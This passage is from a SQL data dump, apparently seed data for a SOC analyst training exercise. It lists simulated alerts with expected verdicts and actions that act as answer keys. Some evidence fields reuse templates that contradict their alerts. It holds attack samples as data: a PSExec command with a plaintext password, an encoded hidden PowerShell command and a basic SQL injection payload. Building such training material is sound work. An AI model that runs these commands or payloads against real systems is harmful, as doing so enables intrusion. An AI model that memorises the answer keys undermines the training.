1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.112\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-SERVER\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:30:22.284Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.112\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-SERVER\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:29:22.284Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.112\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-SERVER\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:28:22.284Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.112\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-SERVER\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(642, 'Suspicious Network Connection to Known C2 Server', 'critical', 'Firewall', 'A suspicious outbound network connection was detected from an internal host to a known command and control server.', 'Malware', 'T1105', 1, 'investigating', 74, '{\"timestamp\":\"2026-01-11T12:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"203.0.113.99\",\"username\":\"svc_account\",\"hostname\":\"INFECTED-PC\"}', '2026-01-10 18:01:00', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP recognized as a command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The destination IP is known for C2 activity, confirming the presence of malware on the host.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(643, 'False Positive: User Access from Known Location', 'low', 'Splunk', 'A login attempt was flagged as suspicious due to an unexpected geographic location, but further analysis indicates it is a legitimate access from a known user.', 'Brute Force', 'T1078', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-11T13:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.0.15\",\"username\":\"mike\",\"hostname\":\"VPN-SERVER\"}', '2026-01-10 04:02:31', '2026-03-09 02:47:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with legitimate user access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mike\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User verified as legitimate employee with known travel history.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was from a known user and location, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.286Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.50\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"mike\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.286Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.50\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"mike\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.286Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.50\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"mike\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.286Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.50\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"mike\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.286Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:30:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.50\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"mike\\\",\\\"hostname\\\":\\\"VPN-SERVER\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(644, 'Unauthorized Remote Access Tool Detected', 'high', 'EDR', 'An unauthorized remote access tool was detected running on a corporate workstation, indicating potential compromised access.', 'Malware', 'T1219', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"203.0.113.88\",\"username\":\"lisa\",\"hostname\":\"WORK-PC-01\",\"command_line\":\"C:\\\\Program Files\\\\RAT\\\\rat.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 11:34:49', '2026-02-18 13:55:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as a remote access trojan\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with malicious remote access activity\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and associated IP are known indicators of a remote access trojan.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(645, 'Data Exfiltration Attempt via Email', 'critical', 'Email Gateway', 'Sensitive data was detected in an outgoing email, indicating a potential data exfiltration attempt.', 'Data Exfil', 'T1020', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T12:45:00Z\",\"event_type\":\"email_sent\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"203.0.113.101\",\"username\":\"alice\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"alice@company.com\",\"email_recipient\":\"external@unknown.com\",\"file_attachment\":\"confidential_data.pdf\",\"file_hash\":\"def4567890abcdef1234567890abcdef\"}', '2026-01-11 00:45:12', '2026-02-16 18:03:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"external@unknown.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized external recipient\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"def4567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash flagged for containing sensitive data\"}}],\"expected_actions\":[\"block_sender\",\"quarantine_email\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The email contains sensitive data and was sent to an unrecognized recipient, indicating data exfiltration.\"}', 'Beginner', 'DLP', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Data Exfiltration Attempt via Email\",\"date\":\"2026-02-01T20:32:22.288Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(646, 'False Positive: Legitimate Application Update', 'low', 'EDR', 'A process execution alert was triggered for a legitimate application update process.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T15:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"10.0.0.20\",\"username\":\"system\",\"hostname\":\"UPDATE-SERVER\",\"command_line\":\"C:\\\\Program Files\\\\App\\\\update.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-01-09 22:44:23', '2026-03-07 05:19:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash matches legitimate application update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\App\\\\update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Confirmed as part of legitimate application update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution is part of a verified application update, confirming it as a false positive.\"}', 'Beginner', 'EDR', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(647, 'Lateral Movement Detected via PSExec', 'critical', 'SIEM', 'Lateral movement was detected within the network using PSExec from one internal host to another, indicating potential compromise.', 'Lateral Movement', 'T1569', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"192.168.1.70\",\"username\":\"administrator\",\"hostname\":\"COMPROMISE-PC\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\"}', '2026-01-10 01:41:05', '2026-02-16 18:05:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of potentially compromised host initiating lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP of targeted host for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command used for unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec to execute commands remotely indicates malicious lateral movement.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.290Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"192.168.1.70\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"COMPROMISE-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.290Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"192.168.1.70\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"COMPROMISE-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.290Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"192.168.1.70\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"COMPROMISE-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.290Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"192.168.1.70\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"COMPROMISE-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.290Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"192.168.1.70\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"COMPROMISE-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(648, 'False Positive: Unusual Login from Expected Location', 'low', 'Firewall', 'An unusual login was flagged due to an unexpected IP, but the user confirmed it was a legitimate access from a known location.', 'Brute Force', 'T1078', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T16:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.75\",\"dst_ip\":\"10.0.0.25\",\"username\":\"susan\",\"hostname\":\"CORP-SERVER\"}', '2026-01-09 21:55:34', '2026-03-07 05:18:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address associated with legitimate user access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"susan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User confirmed access from known location\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was verified by the user as legitimate, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(649, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A potentially malicious PowerShell script was executed on the endpoint, indicating possible malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AdQBtAGUAcgBpAGMAcwBdADoAOgBuAG8AcgBtADAANABdAC0A\"}', '2026-01-10 16:38:54', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AdQBtAGUAcgBpAGMAcwBdADoAOgBuAG8AcgBtADAANABdAC0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PowerShell command used in known malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is encoded and matches known malicious patterns.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(650, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email containing a malicious link was received by user jsmith, potentially leading to credential theft.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:25:48Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"\",\"email_sender\":\"no-reply@fakebank.com\",\"url\":\"http://malicious-link.fakebank.com\"}', '2026-01-10 14:31:51', '2026-02-16 18:04:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to phishing site mimicking a banking login page\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Domain closely resembles a legitimate bank\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site mimicking a bank.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Link Detected\",\"date\":\"2026-02-01T20:32:22.294Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(651, 'SQL Injection Attempt on Web Application', 'high', 'Wazuh', 'An attacker attempted a SQL injection attack on the company\'s public web application, trying to access the database.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:13:09Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"\",\"hostname\":\"\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 04:54:32', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for SQL injection attacks\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection pattern used to bypass login forms.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.295Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:13:09Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.295Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:13:09Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.295Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:13:09Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' 